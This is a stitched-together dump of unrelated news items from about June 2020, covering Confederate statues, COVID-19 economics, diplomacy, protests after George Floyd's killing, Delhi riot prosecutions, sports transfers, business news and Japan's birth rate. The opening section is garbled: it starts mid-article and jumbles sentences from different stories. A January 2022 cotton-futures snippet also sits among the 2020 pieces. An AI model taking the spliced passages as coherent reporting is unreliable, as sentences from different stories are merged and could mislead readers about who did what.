Airport spokesman Chris Perry said the statue will be placed in storage for now with its fate to be decided eventually by the city's Office of Arts and Culture

A Dallas-based law firm bought the statue from the city for $1.4 million.

In February 2019, the City Council voted to remove the 121-year-old Confederate War Memorial from the city's downtown Pioneer Cemetery.

Meanwhile, Virginia Governor Ralph Northam announced on Thursday that a towering statue of Lee will be removed from the middle of Monument Avenue, pledging the state will no longer 'preach a false version of history.'

Sherman's book, 'Cult of Glory: The Bold and Brutal History of the Texas Rangers', will be released next week.

When the statue of Lee was removed in 2017, President Trump tweeted: 'Sad to see the history and culture of our great country being ripped apart with the removal of our beautiful statues and monuments.'

They were also stopped from enrolling at a Texarkana community college despite court rulings that should have prevented Shivers from doing so

A poll at the time also found that more than 60 per cent of Americans said they wanted statues of Civil War figures associated with the defense of slavery to be left in place.

Just 27 per cent of people said that the monuments should be removed from parks, roads and schools across the United States.

In April last year, a circuit court judge declared that statues of Confederate generals in Charlottesville, Virginia could not be removed without permission from the state.

In a nine-page ruling, Judge Richard E. Moore asserted that the controversial statues of Robert E. Lee and Thomas J. 'Stonewall' Jackson - who fought against the abolition of slavery in the Civil War - meet classification as 'memorials for war veterans' and, as such, are protected by Virginia law.

Moore stated: 'I find this conclusion inescapable. It does no good pretending they are something other than what they actually are.'

The Code of Virigina declares that it is 'unlawful for the local authorities to disturb or interfere with any monuments or memorials'.
Source: Xinhua| 2020-06-05 18:54:38|Editor: huaxia

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BEIJING, June 5 (Xinhua) -- Chinese State Councilor and Foreign Minister Wang Yi held a phone conversation on Thursday with Indonesian government's Coordinator for Cooperation with China Luhut Binsar Pandjaitan.

During the phone conversation, Luhut congratulated China on the successful convening of the "two sessions," saying it is also a major milestone for China's victory in the fight against the COVID-19 epidemic.

Indonesia is proud of China's taking the lead in controlling the epidemic and is willing to learn from China's experiences, said Luhut, who is also Indonesia's coordinating minister for maritime affairs.

Luhut thanked China for providing medical supplies at a crucial time to help Indonesia fight the epidemic and resume economic and social development.

Indonesia is ready to speed up major Belt and Road cooperation projects such as the Jakarta-Bandung high-speed railway, Luhut said, hoping that the two sides will start charter flights and resume commercial flights as soon as possible and jointly support the recovery of the two countries' economies, Luhut said.

Wang said that China took the lead in controlling COVID-19 spread at home with the great support of the international community, including Indonesia, and the successful convening of the "two sessions" bears a landmark significance.

China will accelerate full restoration of production and life order while maintaining regular epidemic prevention and control measures, Wang said.

Indonesian President Joko Widodo has been leading Indonesia to cope with the challenges brought by the pandemic, which has achieved remarkable results, Wang said, believing that Indonesia will surely head towards victory in both development and its fight against the epidemic.

Wang said that both China and Indonesia are important emerging economies and major developing countries, and the two countries should work closely in solidarity, join hands to get rid of interference and disruption, and stick to the goal of modernization.

He said the two sides should keep enhancing cooperation on the anti-epidemic fight and make exchanges in such areas as vaccine development and application of Chinese herbal medicines.

The two countries should open up a "fast-track lane" for personnel and economic and trade exchanges, launch "green channels" for important goods and supplies, ensure an early resumption of work and production for major Belt and Road projects such as the Jakarta-Bandung high-speed railway, and keep industry chains and supply chains running smoothly, Wang said.

China and Indonesia should expand people-to-people exchanges in such fields as education and religion to enhance public support for bilateral friendship, he said.

At present, there are still some Western politicians spreading around the "political virus" in an attempt to shift blame on others and disturb international anti-epidemic cooperation, Wang said.

Noting that Indonesia clearly opposes politicizing the virus or stigmatizing certain countries, Wang said China is ready to work with Indonesia to enhance cooperation through various multilateral platforms such as the World Health Organization and the Group of 20 to jointly build a community of common health for mankind.

The two sides agreed to discuss building a "fast-track lane" to facilitate essential personnel exchanges. Enditem
A pedestrian walks past a shuttered restaurant with a mural that reads "Stay Safe" on it in Glasgow - AFP

Scotland's economy may not recover from the coronavirus lockdown until 2023 and unemployment could spike by 160,000 this year, Nicola Sturgeon's chief government economist has warned her.

A report by Gary Gillespie showed that in the first half of May almost a fifth of businesses were temporarily closed and more than 750,000 workers furloughed.

He found that economic output has nosedived by 30 per cent during lockdown. Although this drop could reduce to 10 per cent by the end of the year, he warned that it could take until 2023 for GDP to recover to pre-lockdown levels.

Unemployment is forecast to rise from 4.1 per cent (112,000 people) to around 10 per cent (275,000 people). However, Mr Gillespie said it would be approaching 14 per cent without the Chancellor's furlough scheme.

This would mean the highest level since 1994, following the early 1990s recession when the jobless rate was 10 per cent, with around 250,000 unemployed.

A separate report by Strathclyde University's Fraser of Allander institute said the faster easing of lockdown measures in England compared to Scotland may have caused parts of the economy "to lag slightly behind" the rest of the UK.

Scottish Government chief economists's analysis shows GDP falling by 30%, steep recovery to approx 10% down on pre-crisis this year, but then a long slog to possibly 2023 to make up rest of lost ground pic.twitter.com/VOXgMM0SZt  Chris Musson (@ChrisMusson) June 5, 2020

Ms Sturgeon said Mr Gillespie's report "confirms the scale of the economic crisis that we now face" and warned any recovery would be hindered by any new surge in coronavirus cases.

Under her four-phase lockdown plan, only outdoor workplaces can currently start to reopen. Indoor, non-office workplaces such as factories and warehouses will not reopen for at least another fortnight.

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Offices will only reopen in the third phase, which will not start until July at the earliest. Mr Gillespie's report said: "The unemployment level and rate will also be affected by the unwinding of policy support - particularly the job retention scheme - and the extent to which sectors are able to come back to previous levels of activity."

It added: "The continuation of support for business to restart safely and retain employment will be critical through the recovery phase to ensure the scarring effects of this economic crisis are kept to a minimum."

His report said 19 per cent of Scottish firms said they had temporarily closed, with 81 per cent continuing to trade.

However, the latter "have had to change the scale and approach of their business operations", particularly around cutting jobs.

Around a third have laid off staff in the short term, particularly in the construction sector, and decreased working hours.

Speaking at her daily briefing, Ms Sturgeon said the report showed "turnover is down in almost every sector of our economy" and forecast "a more gradual economic recovery  one which might not see us return to pre-crisis levels, for a number of years."

She added: "The Scottish Government has already allocated more than 2.3 billion to help businesses and protect jobs. And of course thats before we consider important UK-wide measures currently in place  such as the Job Retention scheme."

A UK Government spokesman said: "The UK Government has provided an unprecedented package of support to help Scotland and the whole of the UK deal with the economic fallout of the coronavirus outbreak.

"That includes paying the wages of millions of workers through the Job Retention Scheme, plus targeted support for businesses, self-employed people and individuals.

"In addition, we have committed an extra 3.7 billion to the Scottish Government to support their response in devolved policy areas."
Meghan is a dog lover who has at least two of her own. (Getty Images)

Meghan Markle says she has sponsored a dog kennel in the name of her son, Archie, to help provide a home for a pet in need during the coronavirus pandemic.

The Duchess of Sussex is a patron of Mayhew, an animal welfare charity, and has written the foreword for the organisation as it releases its annual report for 2019.

The duchess, who is no longer a working royal but retained her patronages when she stepped back from the role, said she was proud of the changes Mayhew had made to adapt during the pandemic.

Meghan, 38, wrote: What I am even prouder of is that Mayhews mission was made for moments like these. Its not just about cats and dogs; its about all of us, about our ability to come together as a community.

In the wake of COVID, we are reminded that our need to take care of one another is a vital part of the human spirit. Mayhew has always understood this.

She praised Mayhew for its work providing care and support to pets of the homeless, saying it makes people more resilient.

Harry and Meghan meeting the Irish president's dogs on tour. (Getty Images)

Read more: Meghan Markle's history of campaigning against racism  from her early acting days to royal court cases

And she added that the TheraPaws animal assisted intervention programme delivered to nursing homes, elderly wards, mental health centres and beyond promotes physical, social and emotional wellbeing.

As a mark of her own support for the charity, she said she had continued to sponsor a dog kennel in the name of her son Archie, who turned one in May saying it would create an interim home for a pet in need.

Encouraging people to support the charity, Meghan said: When you do, you will be contributing not just to animal welfare but to the shared welfare of us all.

Meghan appears to have been sponsoring the kennel pre-COVID-19, as she mentions the donation is a renewal. Its not known when she might have started the sponsorship.

Meghan meets a Jack Russell dog named "Minnie" during her visit to the animal welfare charity Mayhew in 2019. (Getty Images)

Read more: Harry and Meghan's wedding bishop criticises Donald Trump's bible photo opportunity

Royal Family members rarely discuss private donations to charities, but during the pandemic, both Prince Charles and Prince William confirmed some of their private donations.

Story continues

Meghan is a dog-lover and had two rescue dogs when she lived in Canada, called Guy and Bogart.

Meghan and her husband Prince Harry got a dog together, believed to be a labrador, when they lived in Kensington, and took him and one of her other dogs to Canada when they went to Vancouver Island in late 2019.

The duchess is thought to have had to leave one of her rescue dogs in Canada when she moved to the UK to live with Harry because he wasnt well enough to make the journey.
BEIJING, June 5, 2020 /PRNewswire/ -- Fang Holdings Limited (NYSE: SFUN) ("Fang" or the "Company"), a leading real estate Internet portal in China, today announced that the ratio of American depositary shares ("ADSs") representing its Class A ordinary shares is being amended from one (1) ADS representing one (1) Class A ordinary share to one (1) ADS representing ten (10) Class A ordinary shares, mainly in preparation for the pending spin-off of its internet businesses.

There will be no change to Fang's Class A ordinary shares. Furthermore, no physical action by ADS holders will be required to effect the ratio change, as the change will be effected on the books of the depositary. The effect of the ratio change on the ADS trading price on New York Stock Exchange is expected to take place at the open of business on June 19, 2020 (U.S. Eastern Time). Any fractional ADSs will be sold and the net proceeds from the sale of fractional ADSs will be distributed to the holders entitled thereto.

As a result of the change in the ADS ratio, the ADS price is expected to increase proportionally, although Fang can give no assurance that the ADS price after the change in the ADS ratio will be equal to or greater than ten times the ADS price before the change.

About Fang

Fang operates a leading real estate Internet portal in China in terms of the number of page views and visitors to its websites. Through its websites, Fang provides primarily marketing, listing, leads generation and financial services for China's fast-growing real estate and home furnishing and improvement sectors. Its user-friendly websites support active online communities and networks of users seeking information on, and other value-added services for, the real estate and home furnishing and improvement sectors in China. Fang currently maintains approximately 74 offices to focus on local market needs and its website and database contains real estate related content covering 665 cities in China. For more information about Fang, please visit http://ir.fang.com.

Safe Harbor Statements

This press release contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended, and Section 21E of the Securities Exchange Act of 1934, as amended. Such forward-looking statements are made under the "safe harbor" provisions of the U.S. Private Securities Litigation Reform Act of 1995.

These forward-looking statements can be identified by terminology such as "will," "expects," "is expected to," "anticipates," "aim," "future," "intends," "plans," "believes," "are likely to," "estimates," "may," "should" and similar expressions. Such statements are based upon management's current expectations and current market and operating conditions, and relate to events that involve known or unknown risks, uncertainties and other factors, all of which are difficult to predict and many of which are beyond Fang's control, which may cause its actual results, performance or achievements to differ materially from those in the forward-looking statements. Potential risks and uncertainties include, without limitation, the impact of Fang's business development strategies and the impact of current and future government policies affecting China's real estate market. Further information regarding these and other risks, uncertainties or factors is included in Fang's filings with the U.S. Securities and Exchange Commission. Fang does not undertake any obligation to update any forward-looking statement as a result of new information, future events or otherwise, except as required under law.

SOURCE Fang Holdings Limited

Related Links

www.fang.com


Angels Camp Police Chief Scott Ellis View Photo

Angels Camp, CA  Those traveling the Highway 4 and 49 corridor will notice an enhanced law enforcement presence in the event of impromptu protests.

According to Angels Camp Police Chief Scott Ellis, a planned Black Lives Matter demonstration set for Friday afternoon over the recent death of George Floyd at the hands of white police officers in Minnesota by two local students was postponed Wednesday morning due to reported social media threats and other harassments.

However local law enforcement agencies still planned to cover the area. Plans by Claudia Loomis and Riley Lowell were to beginning at 3 p.m. stage a peaceful protest at the intersection of the two highways, a popular place in Calaveras County due to its high visibility for demonstrators to hold signs and chant.

On Thursday evening, the chief released a formal bulletin, indicating his office has learned of people still planning to assemble at Highways 4 and 49 both on Friday and Saturday afternoons.

The statement reads, We support the right to free speech and peaceful demonstration and will work to provide a safe place for everyones voice to be heard. Help us keep the demonstrations peaceful by promptly reporting any situation or potential situation, that may threaten life and/or property. Call 911 for in-progress emergencies. Call 209 736-2567 or 209 754-6500 for all other incidents.

It goes on to say, We encourage our community and all participants to remain peaceful and obey laws. We will continue to work cooperatively with other law enforcement agencies to monitor any events that happen in our City and surrounding areas. We expect the demonstrations to remain peaceful and are ready to address any unforeseen circumstances that may arise.

On Wednesday, City Administrator Melissa Eads in an email to Clarke Broadcasting, affirmed the citys support of the coordinators and their right to protest under their 1st Amendment rights. We are proud of their passion and commitment to bring change. Unfortunately, there have been alleged threatswe denounce any threats made against the organizers. The City does not support acts of violence and we call for the safety of all engaged in protest both locally and across the nation. The City is committed to work with Claudia and Riley and to bring resources to support a conversation within our community moving forward. We also remain committed to providing safety to those who chose to execute their 1st Amendment rights.

As the Mother Lodes other law enforcement agency heads did, Chief Ellis released a statement early in the week, joining with the community in the wake of Floyds death. As law enforcement professionals, police officers everywhere take an oath to serve and protect our communities, Ellis wrote. The officers shown in the Minneapolis video failed miserably in their professional responsibility  the life of every human being is valuable and to devalue life and discard its existence is intolerable.

Black Lives Matter Vs. All Lives Matter?

In an interview with Clarke Broadcasting Wednesday afternoon, as a protest in downtown Sonora was underway, asked about what he has noticed about nuanced differences between those who are advocating Black Lives Matter and those who respond with All Lives Matter. the chief was direct, choosing his words with care.

Protesters [supporting Black Lives Matter] feel like the black community is oppressed and they want to support them and try to make changes so we can get through those problems. I think because of things that have happened nationwide with the unlawful death or killing of black people under certain circumstances [All Lives Matter advocates] are not able to separate that and think they are saying only black lives matter, not realizingit appears that black people are getting killed at a very high rate by law enforcement or accused criminally unjustly because of their race.

He continued, No doubt and I think everybody agrees that all lives matter but I think there is a special consideration of what [Black Lives Matter demonstrators] are trying to do bring attention tothat maybe black lives arent being taken seriously or they are less of a priorityand being taken advantage of because of race.

Moving forward, the chief said earnestly, We support the organizers and should they decide to in the future or whenever, to host another demonstration or protestwe are in support of them and we will do whatever we can to help them and ensure that they have a safe event.

As protests continue around the country, Chief Ellis remarked, We should be to a point now where the color of skin has no bearing and that it isnt a thing anymore. Floyds death, which has inspired elevated and expanded efforts to confront and crush racism, will continue to bring learning moments, the chief agrees, because of all we have seen in recent days across media outlets, the good and bad.

Nothing more do we want here in the City of Angels Camp is to be able to say we had a protest regarding injustices that occurred and it was peaceful and it went well, and we appreciate the organizers for communicating with us moving forward.

He was quick to add, I totally respect their decision not to [at this time] and understand the threats made to them. I have zero problems with any of the protests until it becomes lootingdamaged property and disrespect because that does not help the situation. You are not promoting anything positive when you are out there screaming obscenities and cussing at people  and that goes for both sides.
The Delhi police on Friday filed two charge sheets in connection with the murder of two men during the riots that broke out near Shiv Vihar, north-east Delhi earlier this year. The charge sheets were filed in the murder of two personsAqil Ahmed and Musharrafwhose bodies were recovered from the drain in Johripur.

The police have charged 10 people for the murder of Ahmed, a mechanic, who was allegedly waylaid by the mob at Jal Board Puliya, Bhagirathi Vihar, and was murdered, while he was returning home at New Mustafabad on February 26.

Police have also charged nine people for the murder of Musharraf, a labourer and auto driver, stating that the rioters dragged Musharaff out and bludgeoned him to death. The reports were filed before Duty Magistrate Richa Parihar who posted the matter for June 18, for cognizance.

A senior police official said: We recovered a phone of one of the accused , which showed a conversation on a WhatsApp group where one of the accused claimed they had killed two men. The reference was to Aqil Ahmed and Musharaaf. Since the chat messages were sent at the same time as the occurrence of incident, it is crucial evidence. This person, who asked not to be named, added that 78 charge sheets have been prepared.

According to a police statement, four bodies were recovered after the violence near Johripur Nala following which four FIRs were filed. Investigation revealed that a WhatsApp group was created in the intervening night of February 25-26, with the alleged rioters as members.

Two active members of this WhatsApp group were located and joined in the investigation, the police said.Based on oral evidence and the WhatsApp chat, the identity of the perpetrators was fixed, it added. Till now, the police have filed nine charge sheets in three days in the Delhi riots case that lasted 3 days and resulted in the death of 53 people.
The Healthcare Ministry points out that the incidence of coronavirus infection in these areas is yet too high to lift these particular quarantine restrictions

Viktor Lyashko Open source

Kyiv and several other regions of Ukraine are not ready to lift the restriction on hosting visitors in restaurants and cafes on their premises. According to the Healthcare Ministry, the incidence of coronavirus infection in these areas is yet too high to lift these particular quarantine restrictions. Viktor Lyashko, the Chief Sanitary Doctor of Ukraine said so at the briefing broadcasted by 112 Ukraine TV channel.

The said establishments will not be opened yet in the capital city, Volyn, Zhytomyr, Lviv, Rivne, Chernivtsi, Luhansk and Donetsk regions.

The opening is possible as soon as the incidence of coronavirus infection meets the norms set by the Healthcare Ministry.

As we reported, on June 4, the number of those infected with coronavirus in Chernivtsi region (westernmost Ukraine) increased by 38 people. In general, local doctors observed 3,519 infection cases in this region since the epidemic reached the country. Serhiy Osachuk, the governor of Chernivtsi region reported that on Facebook.

On Thursday, the local lab centre tested 412 samples for coronavirus.

"Thus, the general number of the infected in the region since the first confirmed case makes 3,519 people", said the governor.

According to the official, another 28 people recovered on that day.
Cotton Futures Down on Profit Taking Ahead of Weekend Barchart - 1 hour ago Cotton is 58 to 124 points lower early in the Friday session. On Thursday the board pulled back after setting new LOC highs through the week. At the bell yesterday, prices were 17 to 108 points in the... CTH22 : 122.26 (-0.50%) CTK22 : 119.10 (-0.48%) CTZ21 : 111.55s (+0.25%)

UI Claims Torpedo Markets Market Tea Leaves - Fri Jan 21, 5:38AM CST Yesterday the markets faltered due to not too stellar economic news. What will happen today?
England scrum-half Ben Spencer has agreed to join Bath, with lock Will Spencer and prop Juan Schoeman also signing for next season.

Ben Spencer is leaving relegated Saracens after almost a decade of service and has penned a three-year deal at the Recreation Ground.

The 27-year-old told Sarries official website: Im sad to be leaving a club thats been my life for nine years.

Ben Spencer has spent nine years at Sarries (Paul Harding/PA)

Ill treasure the memories that Ive made at this club for the rest of my life. I leave with incredible memories.

Leicesters Will Spencer returns for a second spell at the club he left in 2016 and Schoeman arrives from the Sharks in South Africa.

In addition to the three new faces, Josh Matavesi has been handed a two-year deal having joined on temporary terms midway through the current campaign.
(AP)  In 2008, Alec Monceau, a black man working in ritzy West Palm Beach, Florida, was brutally beaten by police.

Monceau's supposed crime: a minor traffic infraction.

In reality: His car carried an "Obama for President" bumper sticker on it.

"People who think racial animosity was a thing of the past have never been to Florida," novelist Bob Brink said, discussing his newest legal thriller, "Blood on Their Hands," which is now available for purchase.

Following in the same footsteps of such esteemed novelists as Carl Hiaasen and Edna Buchanan, Brink knows the "Sunshine State" attracts much more than just alligators, pink flamingos and retirees.

To be honest, Florida has a surprising number of shady characters, especially for a state best known for its abundance of sun.

Also like Hiaasen and Buchanan, Brink, a Newton, Iowa, native, spent most of his career as a print journalist. After stints with the Joliet (Ill.) Herald-News, the Milwaukee Journal Sentinel and the Associated Press in Chicago, he secured reporting positions with the Tampa Tribune and Palm Beach Post.

An award-winning features writer for Palm Beach Illustrated, Brink's first foray into crime drama was a 2015 novel, "Murder in Palm Beach: The Homicide That Never Died," which was a fictionalized version of a man convicted in an oil executive's murder.

I know your first novel, "Murder in Palm Beach" was based on a well-known, real-life crime, right?

"You know what they say, 'Truth is stranger than fiction.'"

So, is "Blood on Their Hands" also based on a true story?

"Not as directly. Alec Monceau is based on a computer tech person I know."

But what about your book's criminal defense attorney Hiram Garbuncle? He has a great name by the way.

"Why, thank you. Hiram, or 'Ham' as he's known in the book, is the type of attorney any trial reporter has met many times. He's all about money and power and the law. In Ham's case, he's also miserly, alcoholic and, yes, racist."

It is interesting that you're not afraid to take on the legal system as well as the racial attitudes many people still harbor.

"One of my favorite movies is (2008's) 'Gran Torino,' in which Clint Eastwood (playing a Korean War veteran) who still harbored resentment from the past. It wasn't until Southeast Asian people moved into the neighborhood that his attitude changed. Ham had a similar experience after meeting (Alec Monceau)."

If I'm not mistaken, you drew additional inspiration in Ham's character from another movie.

"That's right. My favorite comedy movie was (1992's) 'My Cousin Vinny.' Yeah, Ham has certain characteristics similar to Joe Pesci's character in 'My Cousin Vinny.'"

So, "Blood on their Hands" also has humor in it.

"It has humor, steeped in suspense and intrigue. Perhaps more importantly, it is a story of redemption."
If you own your home, how much do you pay for property taxes? Does it seem like too much?

If you disagree with how much you're paying in property taxes, you can appeal the assessment. Most people don't, though  perhaps because they are unaware they can, or because they just don't have the time or resources to deal with the lawyers and paperwork.

TaxProper, a company out of Y Combinator's Summer 2019 batch, has raised $2 million to simplify the process. The round was led by Khosla Ventures, backed by Global Founders Capital, Clocktower Ventures and a handful of angel investors.

Once you've punched in your address, TaxProper's algorithm looks at the assessments of similar homes in your surrounding area, looking at things like size, number of rooms, construction materials, etc.

If the algorithm determines that you're paying more than your share, they generate the required paperwork and send it off to the county. The company estimates that their part of the process takes 3-5 minutes (after which you're waiting on the county's response, which they say takes 6-8 weeks).

They're offering up two different pricing models, charging either a $149 up-front fee or 30% of total first-year tax savings. If their algorithm says your taxes can't be lowered, you don't pay  nor do you pay if the appeal gets denied. The company tells me they're currently seeing an average per customer savings of around $700.

TaxProper's two co-founders have a good bit of experience in the space of taxes and government. Geoff Segal was previously an actuarial statistician and research analyst for State Farm, while Thomas Dowling was a municipal finance advisor for Chicago Mayor Lori Lightfoot.

One thing to note: TaxProper is only up and running in select areas right now, as the company tests different strategies and makes sure they're doing everything right region-by-region. It's currently available in Chicago and the surrounding Cook County area, with plans to roll out "in the coming months" in New York and Texas.
Narendra Modi

New Delhi: The country's economy has been badly affected by the corona crisis and the lockdown. This has led to a loss of revenue and increased government spending. This situation has begun to affect the government's new plans.

In fact, the central government has blocked the launch of new schemes. The Finance Ministry has postponed the launch of new schemes approved by various Ministries and Departments for the next 9 months or till March 2021.

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Narendra ModiThe finance ministry, which is facing an economic crisis in the Corona war, has blocked the launch of any new plans for fiscal 2020-21. These restrictions are on schemes that are in the approved or status category. This order will also apply to schemes which have been approved in principle by the Expenditure Department of the Ministry of Finance.

However, there will be no ban on the poor welfare schemes of self-reliant India and the Prime Minister. The order issued by the government clearly states that the various ministries should not start new schemes. The Prime Minister should focus on the schemes announced under the Garib Kalyan Yojana or Atma Nirbhar Bharat Abhiyan.

Narendra ModiIn an order issued on June 4, the Finance Ministry's Expenditure Department said that in view of the Corona epidemic, there is an unprecedented demand for public financial resources.

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The order said that the introduction of new schemes already approved or approved in the financial year 2020-21, including the proposals of the Standing Finance Committee, would be suspended for one year.

The Finance Ministry has taken this important decision due to the Corona crisis, as the government is getting less revenue. The report available with the Comptroller and Auditor General shows that the revenue during April 2020 was Rs 27,548 crore, which was 1.2% of the budget estimate. The government spent Rs 3.07 lakh crore, which was 10 per cent of the budget estimate.

Narendra Modi The government is also borrowing more due to the financial crisis. Recently, the government announced that it would increase its market borrowing estimate from the current Rs 4.2 lakh crore to Rs 12 lakh crore for the current financial year.

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The Finance Ministry had said that the estimated debt in the financial year 2020-21 would be Rs 12 lakh crore instead of Rs 7.80 lakh crore. Figures provided by the regulator of accounts show that the estimated fiscal deficit in the first month of the financial year was more than one-third.
A screenshot of KTLA5's helicopter footage of a West Hollywood march protesting the killing of George Floyd on Wednesday. (KTLA5)

The curfew has lifted, Los Angeles. But what has changed?

When breaking reports about the widespread protests of police brutality against black people first interrupted regular network TV programming last week, the footage looked like it was pulled from an analog-era vault.

Protesters marched though downtown Los Angeles chanting No justice, no peace as they did in 1992, during another explosive reckoning triggered by the videotaped beating of an unarmed black man by police. Blazing fires and broken shop windows were reminiscent of scenes from the 1994 Northridge quake. News choppers circling above police activity on the 405 recalled O.J. Simpson and his white Bronco.

Today, however, things do look different ... at least on local TV news. The brutal asphyxiation killing of George Floyd while in the custody of Minneapolis police last week, and ongoing demonstrations against systemic racism, injustice and police brutality, have forced stations to rethink age-old coverage tactics and have flipped narratives about old versus new media on their heads.

Dozens of protesters are arrested for curfew violations Tuesday on Broadway near 5th after a long day of protesting the killing of George Floyd. (Robert Gauthier / Los Angeles Times)

The punching bag of journalism, local TV news moved from the periphery to center stage last Friday when it began frenetically covering a city thats no stranger to corrupt law enforcement, civil unrest, racial profiling and, yes, even looting.

While the images broadcast by KTLA, Fox11 and their competitors may have looked similar to another painful period in the Southland, there is something different this time, eight days after Floyd's killing eclipsed COVID-19 as our nation's top crisis and nearly 15 years into the Twitter era.

Until now, social media has been assumed to be the tool of immediacy for breaking news. But for better or worse, local media offered what Instagram and Facebook could not in the heat of recent unrest: a continuous news feed from verifiable sources, void of the extremist meddling, agenda shaming and unsourced outrage videos that make information scrolling such a perilous pursuit in 2020.

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Platforms like Twitter have proved to be a civic blessing, exposing what the rest of media misses or buries while revolutionizing the art of organized protest. It was an invaluable tool of transparency during the 2014 police brutality protests in Ferguson, Mo. But theres also a reason why social media is the favored misinformation conduit for bad actors, white supremacists and President Trump, a reality that's glaringly clear right now.

Inciting outrage is as easy as pressing tweet, no matter if the content is utterly false. This week hundreds of Facebook employees protested the companys decision to give President Trumps lies about the danger of mail-in voting a pass. They stopped working and walked out in a show of solidarity. Just a week earlier, Twitter finally made the decision to flag Trumps posts that violated its rules about glorifying violence.

The standards and rules that make traditional local news so frustratingly stodgy and slow to change are also the ones that make it harder to manipulate.

And when ABC7, NBC4 and KCAL 9 began streaming back-to-back reports from Melrose Avenue, Santa Monica, Van Nuys Boulevard, Long Beach and downtown L.A., events unfolded so quickly there was little time to editorialize the way they did back when phones had cords, newsrooms had big budgets and the 5 o'clock news was king.

Cameras  and viewers  witnessed impassioned calls for change by marchers of all colors, angry shouting matches between millennials and cops, and peaceful folks hit with LAPD rubber bullets and tear gas. They saw reporters attacked by masked instigators, demonstrators attacked by police, police attacked by demonstrators and Angelenos protecting or attacking one another. There was vandalism and cleanup, looters taking selfies and people acting selflessly.

There was so much activity it contradicted much of social media's binary messaging  all protesters/cops are good/bad  while offering context around short videos posted by civilians in the center of the movement.

Thats not to say the live reports, later edited for truncated newscasts, were always the epitome of fair reporting. The old adage 'If it bleeds, it leads' is alive and well, as is the institutional bias that has long caused so many wrenching stories like Floyd's to be underplayed, defended or ignored.

A screenshot of KTLA5's B-roll footage of Los Angeles area protesters being detained by police on Wednesday. (KTLA5)

In the early going, local press, including this paper, often seemed to pay more attention to violent instigators and looters than to the overwhelming majority of peaceful protesters. TV reporters embedded behind police lines more than they embedded with activists. Cops were shown as protectors while demonstrators of color were portrayed as the problem. Coverage was dominated by the uprisings most outrageous moments. Commentary was often from the white perspective and aimed at easing the fear of white folks.

The pressure and outrage of a nation, however, is shifting those dynamics, which evolved on screen over the week. Reporters who used the terms "protesters" and "looters" interchangeably had been called out so vigorously that by the time a state of emergency was called in Los Angeles, reporters were making concerted efforts to differentiate between marchers and smash-and-grab crews. Clips of police using excessive force against demonstrators, and also marching next to them, have been pushed to the fore. Chyrons now use terms like "peace marches" rather than "violent protests" below footage of large crowds.

Is it the massive change citizens are agitating for? No. But given how hard it is to pin down where we are right now in terms of progress and pushback, it's at least one small win worth noting.

As for L.A., we're a city thats hard to define in the most uneventful of times. We're congested and sprawling, full of natural beauty and absurd vapidity, individualist culture and deep economic disparity. This week the city may have looked like it did in a darker era. But change on the ground is fast transforming that view, even through the eye of local news camera.
It is that vigorous zeal that has resulted in Mr. Roca securing several multi-million dollar verdicts.

The Law Offices of Craig Goldenfarb, P.A, in West Palm Beach is pleased to welcome Plaintiffs personal injury attorney Rafael J. Roca, Esq. B.C.S. to our growing team of experienced trial attorneys. Mr. Roca is Board Certified in Civil Trial Law by The Florida Bar Board of Legal Specialization & Education, the highest level of competency and expertise in trial law the Florida Supreme Court recognizes.

Consumers and prospective clients of our law firm can rest assured that Mr. Roca has met the states most rigorous standards in professionalism, ethics, knowledge, skills, and proficiency of civil trial law with his Board-Certified Specialist (B.C.S.) designation.

Mr. Roca is honored to hold many more accolades he has acquired over his 30+ year career in personal injury law, including achieving AV Preeminent Rating by Martindale-Hubbell, a consistent annual ranking with SuperLawyers, and induction to the Million Dollar Advocates Forum.

Mr. Roca combines his vast experience in the courtroom with his penchant for advising and comforting his clients during the most difficult stages of the litigation process. Big, powerful insurance companies with their armies of defense lawyers do not intimidate him; rather, he lives for jury trial, championing the rights of his clients to pursue just compensation for their injuries, lost wages, and medical bills and treatment.

It is that vigorous zeal that has resulted in Mr. Roca securing several multi-million dollar verdicts and settlements throughout his career, including a $6.4 million verdict for the family of man killed in a heavy machinery negligence case, and more than $1 million recovered for a woman severely injured by a slip and fall accident at her residence.

Prior to joining our firm, Mr. Roca operated a solo practice in West Palm Beach for more than a decade. During that time, he put his talents and skills to civic engagements, serving on boards as past president and former or current member of the Palm Beach County Justice Association, The Hispanic Human Resources Council, Legal Aid Society, and the 15th Judicial Circuit Nominating Committee, a prestigious appointment that is affirmed by Floridas Governor.

Rafael J. Roca, Esq., B.C.S. was born in Holguin, Cuba, and soon after his family immigrated to Miami, Florida, where he was raised. Mr. Roca received his undergraduate degree from Florida State University, and his J.D. from St. Thomas University School of Law. Following his bar examination, Mr. Roca settled in Palm Beach County where he began his plaintiffs personal injury career in 1986.

You can learn more about Rafael J. Roca, Esq., B.C.S. on his attorney profile page.
Source: Xinhua| 2020-06-05 22:11:48|Editor: huaxia

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TOKYO, June 5 (Xinhua) -- The number of newborns in Japan stood at 865,234 in 2019, logging the lowest level on record, government statistics showed on Friday.

The number was down 53,166 compared to the previous year, according to the Ministry of Health, Labor and Welfare.

The country's total fertility rate, namely the average number of children a woman will bear in her lifetime, declined 0.06 point to 1.36.

The number of deaths in the reporting year was 1,381,098, marking the highest level since the end of World War II.

As a result, the number of deaths outnumbered births by 515,864, which is the biggest margin of decline since comparable data were made available in 1899.

The number of babies born in the country has been on a declining trend since peaking at about 2.7 million in 1949.

In May, Prime Minister Shinzo Abe's Cabinet vowed to provide support in an effort to increase the average number of children per couple to 1.8.

Southernmost Okinawa prefecture was the only one of the country's 47 prefectures to have more births than deaths in 2019, with the highest total fertility rate at 1.82.

Meanwhile, Tokyo marked the lowest total fertility rate at 1.15, followed by Miyagi at 1.23 and Hokkaido at 1.24. Enditem
The Australian web series Cancelled, which premiered on Facebook a few weeks ago, has a highly topical hook. Funded by Screen Australia, the show centres on an Australian filmmaker and a Spanish actress whose plans to get married in Spain are put on hold when the COVID-19 crisis hits and the country goes into lockdown along with much of the rest of the planet.

Cancelled is a scripted comedy-drama, not a documentary. But its stars and creators, director Luke Eve and co-writer Maria Albinana, didn't have to look far for inspiration.

Luke Eve and Maria Albinana turned their cancelled wedding into an online series.

A couple of months ago, they really were forced to call off their wedding at the last minute  and when I catch up with them via Zoom at the end of May, they're still stuck in their apartment along with Eve's mother Karen, who travelled to the Spanish city of Valencia for the wedding and appears alongside them in the show.

"It's super-weird," Eve concedes. "Like, right now you're talking to us on the set. We sleep on the set! The blurring of reality and fiction is so unusual. We haven't even bothered giving our characters names, we just use our names."
Multnomah County submitted its plan to the state on Friday to enter the first phase of gradually reopening its economy, with the aim of beginning to ease restrictions on business and other activities starting June 12.

